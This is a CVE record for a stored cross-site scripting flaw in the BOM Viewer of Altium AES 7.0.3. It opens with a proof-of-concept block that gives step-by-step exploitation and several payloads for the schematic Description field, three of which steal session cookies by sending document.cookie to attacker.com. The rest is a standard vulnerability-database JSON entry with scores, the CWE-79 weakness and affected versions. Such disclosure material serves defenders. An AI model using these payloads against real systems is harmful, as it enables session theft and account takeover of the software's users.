CVE-2025-27379

// CVE-2025-27379 PoC - Stored XSS in Altium AES BOM Viewer // Steps to exploit: // 1. Login to Altium AES 7.0.3 with valid credentials // 2. Navigate to schematic editor // 3. Inject XSS payload into Description field // 4. Save and open BOM Viewer // 5. XSS will execute when BOM Viewer renders the content // XSS Payload Examples: // <script>alert(document.cookie)</script> // <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> // <svg/onload=fetch('http://attacker.com/log?data='+btoa(document.cookie))> // Example malicious Description field content: const xssPayload = '<script>fetch("https://attacker.com/steal?cookie="+encodeURIComponent(document.cookie))</script>'; // This payload will be stored and executed when BOM Viewer renders the schematic

{"cve": {"id": "CVE-2025-27379", "sourceIdentifier": "4760f414-e1ae-4ff1-bdad-c7a9c3538b79", "published": "2026-01-22T02:15:51.137", "lastModified": "2026-02-26T21:24:23.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability in the BOM Viewer in Altium AES 7.0.3 allows an authenticated attacker to inject arbitrary JavaScript into the Description field of a schematic, which is executed when the BOM Viewer renders the affected content."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) almacenada en el Visor de BOM en Altium AES 7.0.3 permite a un atacante autenticado inyectar JavaScript arbitrario en el campo Descripción de un esquemático, que se ejecuta cuando el Visor de BOM renderiza el contenido afectado."}], "metrics": {"cvssMetricV31": [{"source": "4760f414-e1ae-4ff1-bdad-c7a9c3538b79", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "4760f414-e1ae-4ff1-bdad-c7a9c3538b79", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:altium:on-prem_enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.3", "versionEndExcluding": "7.0.6", "matchCriteriaId": "3F31D6A7-989F-4647-AA13-38737112E369"}]}]}], "references": [{"url": "https://www.altium.com/platform/security-compliance/security-advisories", "source": "4760f414-e1ae-4ff1-bdad-c7a9c3538b79", "tags": ["Vendor Advisory"]}]}}